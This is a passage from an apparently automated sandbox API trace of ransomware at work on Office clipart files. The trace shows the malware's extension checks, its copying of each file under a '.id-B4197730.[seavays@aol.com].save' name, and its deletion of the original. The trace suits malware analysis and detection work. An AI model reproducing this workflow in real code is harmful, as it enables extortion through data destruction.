Office\\root\\CLIPART\\PUB60COR\\J0152892.WMF") returned 68 [0184.975] lstrlenW (lpString=".jpg") returned 4 [0184.975] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0184.976] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x2c2ff14 | out: lpFileSize=0x2c2ff14*=11348) returned 1 [0184.976] CloseHandle (hObject=0x534) returned 1 [0184.976] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152894.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152894.wmf")) returned 0x220 [0184.977] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152894.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152894.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0184.977] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152894.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152894.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0184.978] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.978] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.978] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152894.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152894.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0185.370] GetLastError () returned 0x0 [0185.370] ReadFile (in: hFile=0x534, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x2c54, lpOverlapped=0x0) returned 1 [0185.372] WriteFile (in: hFile=0x378, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0x2c60, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0x2c60, lpOverlapped=0x0) returned 1 [0185.373] ReadFile (in: hFile=0x534, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1 [0185.373] WriteFile (in: hFile=0x378, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0xec, lpOverlapped=0x0) returned 1 [0185.374] SetEndOfFile (hFile=0x378) returned 1 [0185.374] CloseHandle (hObject=0x378) returned 1 [0185.374] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0185.374] SetEndOfFile (hFile=0x534) returned 1 [0185.379] CloseHandle (hObject=0x534) returned 1 [0185.379] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152894.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0185.382] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152894.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152894.wmf")) returned 1 [0185.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152894.WMF") returned 68 [0185.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152894.WMF") returned 68 [0185.383] lstrlenW (lpString=".doc") returned 4 [0185.383] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0185.383] lstrlenW (lpString=".docx") returned 5 [0185.383] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0185.383] lstrlenW (lpString=".pdf") returned 4 [0185.383] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0185.383] lstrlenW (lpString=".xls") returned 4 [0185.383] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0185.383] lstrlenW (lpString=".xlsx") returned 5 [0185.383] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0185.383] lstrlenW (lpString=".ppt") returned 4 [0185.383] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0185.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152894.WMF") returned 68 [0185.384] lstrlenW (lpString=".zip") returned 4 [0185.384] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0185.384] lstrlenW (lpString=".rar") returned 4 [0185.384] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0185.384] lstrlenW (lpString=".bz2") returned 4 [0185.384] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0185.384] lstrlenW (lpString=".7z") returned 3 [0185.384] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0185.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152894.WMF") returned 68 [0185.384] lstrlenW (lpString=".dbf") returned 4 [0185.384] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0185.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152894.WMF") returned 68 [0185.384] lstrlenW (lpString=".1cd") returned 4 [0185.384] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0185.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152894.WMF") returned 68 [0185.384] lstrlenW (lpString=".jpg") returned 4 [0185.384] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0185.386] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x2c2ff14 | out: lpFileSize=0x2c2ff14*=36620) returned 1 [0185.386] CloseHandle (hObject=0x534) returned 1 [0185.386] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153299.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153299.wmf")) returned 0x220 [0185.386] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153299.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153299.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0185.386] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153299.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153299.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0185.387] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0185.387] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0185.387] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153299.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153299.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0185.388] GetLastError () returned 0x0 [0185.388] ReadFile (in: hFile=0x534, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x8f0c, lpOverlapped=0x0) returned 1 [0185.391] WriteFile (in: hFile=0x378, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0x8f10, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0x8f10, lpOverlapped=0x0) returned 1 [0185.393] ReadFile (in: hFile=0x534, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1 [0185.393] WriteFile (in: hFile=0x378, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0xec, lpOverlapped=0x0) returned 1 [0185.393] SetEndOfFile (hFile=0x378) returned 1 [0185.393] CloseHandle (hObject=0x378) returned 1 [0185.393] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0185.393] SetEndOfFile (hFile=0x534) returned 1 [0185.398] CloseHandle (hObject=0x534) returned 1 [0185.399] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153299.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0185.399] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153299.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153299.wmf")) returned 1 [0185.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153299.WMF") returned 68 [0185.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153299.WMF") returned 68 [0185.401] lstrlenW (lpString=".doc") returned 4 [0185.401] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0185.401] lstrlenW (lpString=".docx") returned 5 [0185.401] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0185.401] lstrlenW (lpString=".pdf") returned 4 [0185.401] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0185.401] lstrlenW (lpString=".xls") returned 4 [0185.401] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0185.401] lstrlenW (lpString=".xlsx") returned 5 [0185.401] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0185.401] lstrlenW (lpString=".ppt") returned 4 [0185.401] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0185.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153299.WMF") returned 68 [0185.401] lstrlenW (lpString=".zip") returned 4 [0185.401] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0185.401] lstrlenW (lpString=".rar") returned 4 [0185.401] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0185.401] lstrlenW (lpString=".bz2") returned 4 [0185.401] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0185.401] lstrlenW (lpString=".7z") returned 3 [0185.402] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0185.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153299.WMF") returned 68 [0185.402] lstrlenW (lpString=".dbf") returned 4 [0185.402] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0185.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153299.WMF") returned 68 [0185.402] lstrlenW (lpString=".1cd") returned 4 [0185.402] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0185.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153299.WMF") returned 68 [0185.402] lstrlenW (lpString=".jpg") returned 4 [0185.402] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0185.403] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x2c2ff14 | out: lpFileSize=0x2c2ff14*=30800) returned 1 [0185.403] CloseHandle (hObject=0x534) returned 1 [0185.403] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153302.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153302.wmf")) returned 0x220 [0185.403] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153302.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153302.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0185.403] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153302.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153302.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0185.404] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0185.404] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0185.404] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153302.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153302.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a8 [0185.863] GetLastError () returned 0x0 [0185.863] ReadFile (in: hFile=0x534, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x7850, lpOverlapped=0x0) returned 1 [0185.867] WriteFile (in: hFile=0x2a8, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0x7860, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0x7860, lpOverlapped=0x0) returned 1 [0185.870] ReadFile (in: hFile=0x534, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1 [0185.870] WriteFile (in: hFile=0x2a8, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0xec, lpOverlapped=0x0) returned 1 [0185.870] SetEndOfFile (hFile=0x2a8) returned 1 [0185.870] CloseHandle (hObject=0x2a8) returned 1 [0185.871] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0185.871] SetEndOfFile (hFile=0x534) returned 1 [0185.874] CloseHandle (hObject=0x534) returned 1 [0185.875] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153302.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0186.080] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153302.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153302.wmf")) returned 1 [0186.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153302.WMF") returned 68 [0186.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153302.WMF") returned 68 [0186.779] lstrlenW (lpString=".doc") returned 4 [0186.779] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0186.779] lstrlenW (lpString=".docx") returned 5 [0186.779] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0186.779] lstrlenW (lpString=".pdf") returned 4 [0186.779] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0186.779] lstrlenW (lpString=".xls") returned 4 [0186.779] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0186.779] lstrlenW (lpString=".xlsx") returned 5 [0186.779] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0186.779] lstrlenW (lpString=".ppt") returned 4 [0186.779] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0186.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153302.WMF") returned 68 [0186.780] lstrlenW (lpString=".zip") returned 4 [0186.780] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0186.780] lstrlenW (lpString=".rar") returned 4 [0186.780] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0186.780] lstrlenW (lpString=".bz2") returned 4 [0186.780] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0186.780] lstrlenW (lpString=".7z") returned 3 [0186.780] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0186.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153302.WMF") returned 68 [0186.780] lstrlenW (lpString=".dbf") returned 4 [0186.780] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0186.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153302.WMF") returned 68 [0186.780] lstrlenW (lpString=".1cd") returned 4 [0186.780] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0186.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153302.WMF") returned 68 [0186.780] lstrlenW (lpString=".jpg") returned 4 [0186.780] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0186.781] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2c2ff14 | out: lpFileSize=0x2c2ff14*=6888) returned 1 [0186.782] CloseHandle (hObject=0x36c) returned 1 [0186.782] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171847.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0171847.wmf")) returned 0x220 [0186.782] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171847.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0171847.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0186.782] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171847.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0171847.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0186.783] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0186.783] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0186.783] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171847.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0171847.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0186.785] GetLastError () returned 0x0 [0186.785] ReadFile (in: hFile=0x36c, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x1ae8, lpOverlapped=0x0) returned 1 [0186.787] WriteFile (in: hFile=0x558, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0x1af0, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0x1af0, lpOverlapped=0x0) returned 1 [0186.788] ReadFile (in: hFile=0x36c, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1 [0186.788] WriteFile (in: hFile=0x558, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0xec, lpOverlapped=0x0) returned 1 [0186.788] SetEndOfFile (hFile=0x558) returned 1 [0186.788] CloseHandle (hObject=0x558) returned 1 [0186.788] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0186.788] SetEndOfFile (hFile=0x36c) returned 1 [0186.792] CloseHandle (hObject=0x36c) returned 1 [0186.792] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171847.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0186.792] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171847.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0171847.wmf")) returned 1 [0186.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171847.WMF") returned 68 [0186.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171847.WMF") returned 68 [0186.794] lstrlenW (lpString=".doc") returned 4 [0186.794] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0186.794] lstrlenW (lpString=".docx") returned 5 [0186.794] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0186.794] lstrlenW (lpString=".pdf") returned 4 [0186.794] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0186.794] lstrlenW (lpString=".xls") returned 4 [0186.794] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0186.794] lstrlenW (lpString=".xlsx") returned 5 [0186.794] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0186.794] lstrlenW (lpString=".ppt") returned 4 [0186.794] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0186.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171847.WMF") returned 68 [0186.794] lstrlenW (lpString=".zip") returned 4 [0186.794] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0186.794] lstrlenW (lpString=".rar") returned 4 [0186.794] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0186.794] lstrlenW (lpString=".bz2") returned 4 [0186.794] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0186.794] lstrlenW (lpString=".7z") returned 3 [0186.794] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0186.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171847.WMF") returned 68 [0186.794] lstrlenW (lpString=".dbf") returned 4 [0186.794] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0186.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171847.WMF") returned 68 [0186.795] lstrlenW (lpString=".1cd") returned 4 [0186.795] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0186.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171847.WMF") returned 68 [0186.795] lstrlenW (lpString=".jpg") returned 4 [0186.795] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0186.796] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2c2ff14 | out: lpFileSize=0x2c2ff14*=7448) returned 1 [0186.796] CloseHandle (hObject=0x36c) returned 1 [0186.796] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172035.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0172035.wmf")) returned 0x220 [0186.796] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172035.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0172035.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0186.796] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172035.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0172035.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0186.797] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0186.797] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0186.797] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172035.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0172035.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0186.799] GetLastError () returned 0x0 [0186.799] ReadFile (in: hFile=0x36c, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x1d18, lpOverlapped=0x0) returned 1 [0186.801] WriteFile (in: hFile=0x558, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0x1d20, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0x1d20, lpOverlapped=0x0) returned 1 [0186.802] ReadFile (in: hFile=0x36c, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1 [0186.802] WriteFile (in: hFile=0x558, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c2fc94, 